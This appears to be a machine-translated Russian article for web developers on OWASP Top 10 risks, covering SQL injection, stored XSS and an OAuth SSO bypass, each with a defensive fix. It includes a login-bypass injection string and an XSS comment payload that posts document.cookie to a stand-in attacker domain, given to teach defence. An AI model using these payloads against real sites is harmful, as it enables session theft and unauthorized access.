Сегодня веб-приложения есть повсюду и ими пользуются почти все. Это критически важная часть большинства бизнес-процессов, способ связи компаний со своими клиентами и клиентами. От передачи информации до предоставления услуги, уровень сложности может широко варьироваться, а также уровень заботы, необходимой для их защиты.
В 2018 году было всего 1,6 миллиарда сайтов (уникальных имен хостов). Нельзя отрицать, что Интернет так или иначе является важной частью нашей повседневной жизни. Наша задача как разработчиков - не только предоставлять функциональные, эффективные и инновационные решения для клиентов, но и обеспечивать их безопасность.
ТОП-10 OWASP
Проект безопасности открытых веб-приложений (OWASP), фонд, целью которого является повышение безопасности программного обеспечения. Проект OWASP Top 10 - это документ, который разработчики могут и должны использовать в качестве первого контрольного списка для минимизации перечисленных рисков безопасности в своих решениях.
Инъекция
Уязвимости внедрения, особенно SQL-инъекции, к сожалению, довольно распространены. Они возникают, когда приложение отправляет интерпретатору ненадежные данные (например, веб-сайт отправляет несенсибилизированные данные, введенные пользователем, на бэкэнд).
Наряду с SQL-инъекцией запросы на основе SOAP, XPath, LDAP и REST могут быть уязвимы для инъекционных атак, что позволяет извлекать данные или обходить управление.
SQL-инъекция
Атака с использованием SQL-инъекции состоит из инъекции частичного или полного SQL-запроса через ввод данных от клиента в веб-приложение. Это может позволить чтение и изменение конфиденциальных данных, к которым пользователь клиента не должен иметь доступа.
Уязвимость - непараметризованные SQL-запросы
Представьте, что вы использовали следующий запрос, чтобы проверить, действительны ли предоставленные учетные данные для входа:
Во-первых, следует избегать использования «select *» там, где это возможно, чтобы предотвратить возврат ненужных данных. ** Запросы должны быть максимально конкретными ** Во-вторых, злоумышленник может предоставить данные для доступа к именам пользователей и паролям, хранящимся в базе данных, просто предоставив
“ OR “”=”
как имя пользователя и пароль. В результате запрос будет выглядеть так:
ВЫБЕРИТЕ * ИЗ Пользователи, ГДЕ Имя пользователя = "" или "" = "" И Пароль = "" или "" = ""
Если бы ваша конфигурация базы данных была умеренно надежной, запись базы данных Username = «» не существовала бы, но выражение «» = »” всегда было бы истинным. То же самое относится и к паролю, поэтому результирующий запрос вернет все данные из таблицы Users.
Решение - параметризованные SQL-запросы
Значения, добавляемые к SQL-запросу во время выполнения контролируемым образом, называются параметрами SQL. Механизм SQL проверяет каждый параметр, что он является правильным для своего столбца и обрабатывается буквально, а не является частью SQL, который должен быть выполнен. Рассмотрим наш предыдущий запрос, но параметризованный в ASP.NET Razor:
txtUsername = getUsername ();
txtPasssword = getPassword ();
txtSQL = «ВЫБРАТЬ * ИЗ пользователей, ГДЕ Имя пользователя = @ 0 И Пароль = @ 1»;
db.Execute (txtSQL, txtUsername, txtPasssword);
В этом случае, если был задан такой же злонамеренный ввод, результирующий SQL-запрос примет параметры как полные переменные, не изменяя сам базовый SQL-запрос.
Межсайтовый скриптинг
Межсайтовые сценарии или XSS-атаки - это тип внедрения, при котором вредоносные сценарии вводятся на безвредные или доверенные веб-сайты. Вектор атаки этой уязвимости - любое веб-приложение, которое использует вводимые пользователем данные без его проверки.
Успешная XSS-атака может быть очень опасной, потому что жертва, посещающая веб-сайт, не будет мудрее, пока вредоносный сценарий имеет доступ к файлам cookie жертвы, сеансу и другой конфиденциальной информации, хранящейся в браузере, который использует сайт. Вредоносный сторонний скрипт может даже изменить HTML-содержимое веб-сайта.
Уязвимость - хранимая XSS-атака
Сохраненная XSS-атака - это атака, при которой вредоносный сценарий хранится на уязвимом веб-сайте, поэтому любая жертва, посетившая взломанную веб-страницу, станет жертвой сценария. Рассмотрим веб-страницу, на которой можно размещать комментарии, но они не проходят проверку. Злоумышленник может опубликовать комментарий, содержащий следующий вредоносный код:
Мне очень нравится это видео с кошкой! 😊
‹Script›
fetch (‘https://Attackers-Domain.com’, {
метод: «POST»,
режим: ‘no-cors’,
body: document.cookie
});
‹/Script›
Когда жертва заходит на веб-страницу с этим комментарием, все, что она видит, - это текст «Мне очень нравится это видео с кошкой! 😊 », но скрипт отправит запрос от браузера жертвы в домен злоумышленника, передав файлы cookie жертвы.
Решение - Подтвердите ввод данных пользователем
Проверка комментария до его публикации остановит эту атаку. Доступно бесчисленное множество библиотек и инструментов, которые можно использовать для очистки данных. Большинство фреймворков в той или иной форме также проводят дезинфекцию. Для более стратегического / запланированного способа предотвращения см. OWASP: Шпаргалка по предотвращению XSS
Сломанная аутентификация
Аутентификация часто настраивается неправильно или по принципу «давай заставим это работать», оставляя недостатки, которые могут быть использованы злоумышленниками.
OAuth (2.0) - это широко используемая структура авторизации, которая позволяет веб-сайтам и веб-приложениям запрашивать ограниченный доступ к учетной записи пользователя в другом приложении. Это позволяет пользователю предоставлять доступ без необходимости предоставлять свои учетные данные для входа в запрашивающее веб-приложение. Изначально для этой цели был создан OAuth. Он работает, определяя серию взаимодействий между клиентским приложением, владельцем ресурса и поставщиком услуг OAuth.
OAuth превратился в средство аутентификации пользователей (SSO). Типичный пример «Войти через Facebook». Аутентификация OAuth обычно реализуется следующим образом:
1. Пользователь выбирает вход в свою учетную запись в социальной сети. Клиентское приложение использует службу OAuth социальной сети для запроса доступа к некоторым данным, которые оно может использовать для идентификации пользователя. Например, адрес электронной почты.
2. Как только клиентское приложение получает токен доступа, оно запрашивает эти данные у владельца ресурса, например, «SOMEDOMAIN.COM/userinfo».
3. Получив данные, клиентское приложение использует их для входа пользователя в систему вместо имени пользователя и использует токен доступа в качестве пароля.
Уязвимость - обход неявного потока SSO
Рассмотрим сценарий, в котором вход через систему единого входа используется в веб-приложении клиент-сервер. Чтобы инициировать сеанс для пользователя, клиентское веб-приложение отправляет запрос POST на конечную точку «/ аутентификации» своего сервера с данными, полученными от сервера ресурсов, эффективно регистрируя их. Эти данные могут включать, ClientID, доступ токен и адрес электронной почты пользователя. На сервере нет секретов или паролей для сравнения с отправленными данными, что означает, что данные являются безоговорочно надежными.
Этот запрос POST может быть перехвачен и обработан. В этом случае адрес электронной почты может быть изменен на другого пользователя, возможно, с административным доступом. Затем клиентское приложение войдет в систему указанного пользователя, не моргнув глазом.
Решение - проверить токен доступа
Некоторые провайдеры OAuth в социальных сетях предоставляют конечную точку, по которой вы можете проверить правильность полученного вами токена доступа. Примерами являются конечная точка Google «/ tokeninfo» и конечная точка Facebook «/ debug_token». Клиентский сервер может сделать запрос к этим конечным точкам и подтвердить, что данные в ответе соответствуют данным, предоставленным ему. В нашем случае сравните письмо с ответом.
Вывод
Я рассмотрел лишь несколько часто упускаемых из виду уязвимостей, но есть множество ресурсов, которые помогут вам защитить свои веб-приложения. Вот несколько советов, которым вы можете следовать:
· Всегда следуйте лучшим практикам
· Своевременно обновляйте библиотеки и проверяйте их на наличие уязвимостей
· Убедитесь, что журналы не содержат конфиденциальных данных, и следите за журналами соответственно.
Есть много способов возникновения уязвимостей в веб-приложениях, поэтому о такой безопасности не следует думать второстепенно. Будьте бдительны и удачного программирования!
Некоторые ресурсы, которые вы можете найти
Руководство по тестированию безопасности веб-приложений OWASP
Академия веб-безопасности Port Swigger - хотя и предназначена для профессионалов в области безопасности, знание того, как работают основные процессы, может иметь неоценимое значение для создания безопасных веб-приложений.
